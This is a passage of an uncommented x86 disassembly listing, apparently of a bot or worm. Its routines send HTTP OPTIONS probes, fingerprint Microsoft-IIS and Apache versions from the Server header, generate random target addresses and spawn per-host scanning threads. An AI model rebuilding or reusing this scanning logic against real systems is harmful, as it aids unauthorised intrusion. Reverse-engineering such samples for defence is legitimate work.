[ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CD18 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EBF4 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CD1C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CD20 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EBF4 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CD58 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: sub_4167F1+DAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CDAE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CDA6[ecx] and ecx, 0FFh mov eax, off_41CDAE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CDAE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CDAA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CDA6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CDA6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CDAE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CDA6[eax] cmp eax, dword_41CDA6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CE40 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CE38 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CE30 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41F018 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41F018 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DF00 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DF00 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E3A8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CF28 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E3A8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CEF0 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41F018 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CEDC lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CE98 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp 